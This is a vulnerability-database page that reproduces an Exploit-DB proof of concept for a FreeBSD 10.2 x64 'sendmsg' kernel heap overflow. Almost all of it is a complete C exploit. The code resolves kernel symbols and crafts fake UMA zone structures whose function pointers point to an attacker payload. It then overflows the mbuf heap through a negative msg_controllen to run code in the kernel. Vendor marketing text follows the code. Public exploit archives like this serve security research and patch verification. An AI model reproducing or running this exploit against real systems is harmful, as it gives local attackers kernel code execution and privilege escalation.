Lucene search
K

FreeBSD Kernel (FreeBSD 10.2 x64) - 'sendmsg' Kernel Heap Overflow (PoC)

🗓️ 29 May 2016 00:00:00Reported by CTurtType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 36 Views

FreeBSD Kernel vtuner sendmsg overflo

Code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/param.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/param.h>
#include <sys/linker.h>

void *(*ata_get_xport)(void);
int (*kprintf)(const char *fmt, ...);
char *ostype;

void *resolve(char *name) {
	struct kld_sym_lookup ksym;
	
	ksym.version = sizeof(ksym);
	ksym.symname = name;
	
	if(kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) {
		perror("kldsym");
		exit(1);
	}
	
	printf("  [+] Resolved %s to %#lx\n", ksym.symname, ksym.symvalue);
	return (void *)ksym.symvalue;
}

void dummy(void) { 
}

void payload(void) {
	kprintf("  [+] Entered kernel payload\n");
	
	strcpy(ostype, "CTurt  ");
}

#define INFO_SIZE 0
#define INFO_LIMIT 1
#define INFO_USED 2
#define INFO_FREE 3
#define INFO_REQ 4
#define INFO_FAIL 5

int getZoneInfo(char *zname, int i) {
	#define BUF_SIZE 256
	#define LINE_SIZE 56
	
	unsigned int info[6] = { 0 };
	FILE *fp = NULL;
	char buf[BUF_SIZE];
	char iname[LINE_SIZE];
	
	fp = popen("/usr/bin/vmstat -z", "r");
	
	if(fp == NULL) {
		perror("popen");
		exit(1);
	}
	
	memset(buf, 0, sizeof(buf));
	memset(iname, 0, sizeof(iname));
	
	while(fgets(buf, sizeof(buf) - 1, fp) != NULL) {
		sscanf(buf, "%s %u, %u, %u, %u, %u, %u\n", iname, &info[INFO_SIZE], &info[INFO_LIMIT],
			&info[INFO_USED], &info[INFO_FREE], &info[INFO_REQ], &info[INFO_FAIL]);
		
		if(strncmp(iname, zname, strlen(zname)) == 0 && iname[strlen(zname)] == ':') {
			break;
		}
	}
	
	pclose(fp);
	return info[i];
}

void craftCorruptedZone(void *zone) {
	void **uz_slab = (void **)(zone + 200);
	void **uz_dtor = (void **)(zone + 216);
	void **uz_fini = (void **)(zone + 232);
	void **uz_import = (void **)(zone + 240);
	void **uz_release = (void **)(zone + 248);
	*uz_slab = dummy;
	*uz_fini = payload;
	*uz_import = dummy;
	*uz_release = dummy;
}

void craftZone(void *zone) {
	void **uz_slab = (void **)(zone + 200);
	void **uz_dtor = (void **)(zone + 216);
	void **uz_fini = (void **)(zone + 232);
	void **uz_import = (void **)(zone + 240);
	void **uz_release = (void **)(zone + 248);
	
	// put valid kernel address
	*uz_slab = ata_get_xport;
	*uz_fini = ata_get_xport;
	*uz_import = ata_get_xport;
	*uz_release = ata_get_xport;
}

int main(void) {
	int sock;
	struct msghdr msg;
	
	ata_get_xport = resolve("ata_get_xport");
	kprintf = resolve("printf");
	ostype = resolve("ostype");
	
	const int previousAllocations = getZoneInfo("mbuf", INFO_USED);
	
	const size_t bufferSize = getZoneInfo("mbuf", INFO_SIZE);
	const size_t overflowSize = previousAllocations * bufferSize + 0x4000;
	
	char *mapping, *buffer, *overflow;
	const size_t copySize = bufferSize + overflowSize;
	const size_t mappingSize = (copySize + PAGE_SIZE - 1) & ~(PAGE_SIZE - 1);
	
	mapping = mmap(NULL, mappingSize + PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
	munmap(mapping + mappingSize, PAGE_SIZE);
	
	buffer = mapping + mappingSize - copySize;
	overflow = buffer + bufferSize;
	
	memset(overflow, 0, overflowSize);
	
	// sizeof(struct uma_zone) == 0x300, but since we can't be certain exactly where we overflow from, we will craft at 256 byte intervals
	for(size_t i = previousAllocations * bufferSize + 0xe0; i < overflowSize - 256; i += 256) {
		craftCorruptedZone(overflow + i);
	}
	
	sock = socket(AF_INET, SOCK_STREAM, 0);
	
	memset(&msg, 0, sizeof(msg));
	msg.msg_control = buffer;
	msg.msg_controllen = -1;
	
	printf("  [+] Performing overflow\n");
	sendmsg(sock, &msg, 0);
	
	printf("  [+] Triggering payload\n");
	close(sock);
	
	sock = socket(AF_INET, SOCK_STREAM, 0);
	
	for(size_t i = previousAllocations * bufferSize + 0xe0; i < overflowSize - 256; i += 256) {
		craftZone(overflow + i);
	}
	
	printf("  [+] Performing overflow\n");
	sendmsg(sock, &msg, 0);
	
	munmap(mapping, mappingSize);
	
	return 0;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 May 2016 00:00Current
7.4High risk
Vulners AI Score7.4
36